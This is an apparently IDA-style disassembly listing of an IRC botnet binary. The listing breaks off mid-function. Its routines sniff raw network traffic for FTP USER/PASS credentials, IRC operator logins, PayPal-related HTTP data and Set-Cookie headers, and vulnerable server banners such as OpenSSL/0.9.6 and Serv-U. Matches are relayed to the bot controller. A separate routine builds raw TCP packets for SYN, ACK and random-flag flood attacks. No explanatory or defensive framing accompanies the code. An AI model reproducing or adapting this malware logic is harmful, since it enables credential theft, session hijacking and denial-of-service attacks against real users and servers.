		dd 68FFFFFDh, 4357D0h, 9720E850h, 0C4830000h, 0D875390Ch
		dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
		dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch
		dd 3012E850h, 57590000h, 0B03C15FFh, 75FF004Ch,	9268E8D0h
		dd 5659FFFFh, 0DE4EE890h, 0BB53022Bh, 434EE8h, 0FFFFBFh
		dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h,	858D0CC4h
		dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CAFBCh, 0FFFF883h
		dd 0FC84h, 55BD8000h, 6FFFEFDh,	858BC675h, 0FFFEFD58h
		dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 0C468FFFEh
		dd 50004357h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
		dd 57B468FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h
		dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
		dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
		dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
		dd 0AED415FFh, 0B70F004Ch, 75FF50C0h, 3015FFF4h, 50004CB0h
		dd 8B7F048Dh, 4EFCC504h, 34FF0043h, 434ED885h, 4C858D00h
		dd 68FFFFFDh, 435780h, 20068h, 0D5E85000h, 83000096h, 75391CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h
		dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 3815FFFFh, 50004CAFh
		dd 43575468h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h
		dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
		dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h
		dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB03C15h
		dd 0D075FF00h, 0FF90C9E8h, 0E85659FFh, 22BDCB0h
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_412351	proc near		; CODE XREF: sub_412660+213p
					; sub_412660+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CDD10, eax
		mov	eax, offset dword_4CDD10
		retn
sub_412351	endp


; =============== S U B	R O U T	I N E =======================================



sub_412360	proc near		; CODE XREF: sub_412660+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41237A

loc_412376:				; CODE XREF: sub_412360+29j
					; sub_412360+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41237A:				; CODE XREF: sub_412360+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4123C2

loc_4123BE:				; CODE XREF: sub_412360+71j
					; sub_412360+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4123C2:				; CODE XREF: sub_412360+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a366	; "366 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin_0	; ":!login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin	; ":!Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412360	endp


; =============== S U B	R O U T	I N E =======================================



sub_412477	proc near		; CODE XREF: sub_412660+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412491

loc_41248D:				; CODE XREF: sub_412477+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412491:				; CODE XREF: sub_412477+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41248D
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4124B7

loc_4124B3:				; CODE XREF: sub_412477+4Fj
					; sub_412477+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4124B7:				; CODE XREF: sub_412477+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412477	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124ED	proc near		; CODE XREF: sub_412660+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412507

loc_412503:				; CODE XREF: sub_4124ED+29j
					; sub_4124ED+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412507:				; CODE XREF: sub_4124ED+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset a220	; "220 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41253E

loc_41253A:				; CODE XREF: sub_4124ED+60j
					; sub_4124ED+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41253E:				; CODE XREF: sub_4124ED+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aPass_0	; "PASS	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4124ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_412574	proc near		; CODE XREF: sub_412660+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41258E

loc_41258A:				; CODE XREF: sub_412574+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41258E:				; CODE XREF: sub_412574+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41258A
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4125B4

loc_4125B0:				; CODE XREF: sub_412574+4Fj
					; sub_412574+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4125B4:				; CODE XREF: sub_412574+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412574	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125FB	proc near		; CODE XREF: sub_412660:loc_412A25p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412615

loc_412611:				; CODE XREF: sub_4125FB+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412615:				; CODE XREF: sub_4125FB+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412611
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41263B

loc_412637:				; CODE XREF: sub_4125FB+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41263B:				; CODE XREF: sub_4125FB+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412637
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4125FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412660	proc near		; DATA XREF: sub_401ACD+427Co

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CAFB8
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CB028
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41C310
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CB024
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_412706
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_412706:				; CODE XREF: sub_412660+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CAFD0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41277C
		call	dword_4CAF38
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_435B00
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_412758
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h

loc_412758:				; CODE XREF: sub_412660+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB03C
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26D0000h
		nop

loc_41277C:				; CODE XREF: sub_412660+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CAF50
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412802
		call	dword_4CAF38
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_435AD0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4127DE
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h

loc_4127DE:				; CODE XREF: sub_412660+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB03C
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26D0000h
		nop

loc_412802:				; CODE XREF: sub_412660+13Cj
		mov	esi, 200h

loc_412807:				; CODE XREF: sub_412660+1D6j
					; sub_412660+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CAFBC
		cmp	[ebp+var_113AF], 6
		jnz	short loc_412807
		push	[ebp+var_113A4]
		mov	edi, dword_4271E4
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_412807
		cmp	[ebp+arg_0], 19h
		jz	short loc_412807
		cmp	edi, 6Eh
		jz	short loc_412807
		cmp	edi, 19h
		jz	short loc_412807
		push	[ebp+var_113AC]
		call	sub_412351
		pop	ecx
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+var_113A8]
		call	sub_412351
		add	esp, 10h
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jle	short loc_412905

loc_4128D1:				; CODE XREF: sub_412660+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_4128E8
		mov	byte ptr [eax],	20h

loc_4128E8:				; CODE XREF: sub_412660+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4128F0
		mov	byte ptr [eax],	20h

loc_4128F0:				; CODE XREF: sub_412660+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_4128D1

loc_412905:				; CODE XREF: sub_412660+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_4129B8
		cmp	edi, 50h
		jz	loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412360
		test	al, al
		pop	ecx
		jz	short loc_41294C
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A9C
		jmp	loc_4129E7
; ---------------------------------------------------------------------------

loc_41294C:				; CODE XREF: sub_412660+2C7j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412477
		test	al, al
		pop	ecx
		jz	short loc_412982
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A68
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------

loc_412982:				; CODE XREF: sub_412660+300j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4124ED
		test	al, al
		pop	ecx
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A34
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------

loc_4129B8:				; CODE XREF: sub_412660+2A9j
					; sub_412660+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412574
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_412A25
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_4359FC

loc_4129E7:				; CODE XREF: sub_412660+2E7j
					; sub_412660+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_412807
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_412807
; ---------------------------------------------------------------------------

loc_412A25:				; CODE XREF: sub_412660+36Ej
		call	sub_4125FB
		test	al, al
		pop	ecx
		jz	loc_412807
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4359C4
		jmp	short loc_4129E7
sub_412660	endp

; ---------------------------------------------------------------------------
byte_412A53	db 55h			; DATA XREF: sub_401ACD+6542o
		dd 0EC81EC8Bh, 494h, 5608458Bh,	0A5B957h, 0F08B0000h, 0FD6CBD8Dh
		dd 0A5F3FFFFh, 29080C7h, 10000h, 69E80000h, 900226DEh
		dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h,	50FFFFFFh
		dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
		dd 8D5014C4h, 0FFFB6C85h, 5B2C68FFh, 0E8500043h, 8DCAh
		dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
		dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh
		dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
		dd 0FF8915E8h, 565959FFh, 0D4FAE890h, 5E5F022Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B08	proc near		; CODE XREF: ___:00412E7Fp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_412B48
		xor	eax, eax
		jmp	loc_412E3B
; ---------------------------------------------------------------------------

loc_412B48:				; CODE XREF: sub_412B08+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB048
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_412E33
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CAF84
		cmp	eax, 0FFFFFFFFh
		jz	loc_412E29
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CAFA4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CAFA4
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CAFA4
		mov	[ebp+var_12], ax
		call	sub_41B8E2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CAFA4
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CAFA0
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C18
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------

loc_412C18:				; CODE XREF: sub_412B08+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C34
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------

loc_412C34:				; CODE XREF: sub_412B08+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C6C
		call	sub_41B8E2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41B8E2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl

loc_412C6C:				; CODE XREF: sub_412B08+10Ej
					; sub_412B08+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CAFA4
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2780B3Fh
		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 27807EAh
		nop
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx

loc_412CBA:				; CODE XREF: sub_412B08+2E2j
					; sub_412B08+2F0j
		mov	[ebp+var_4], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CAFA4
		mov	[ebp+var_14], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CAFA4
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CAFA0
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CAFA4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412DFD
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27807EAh
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_412E26
		jl	loc_412CBA
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_412E26
		jmp	loc_412CBA
; ---------------------------------------------------------------------------

loc_412DFD:				; CODE XREF: sub_412B08+2CBj
		call	dword_4CAF38
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_435B54
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
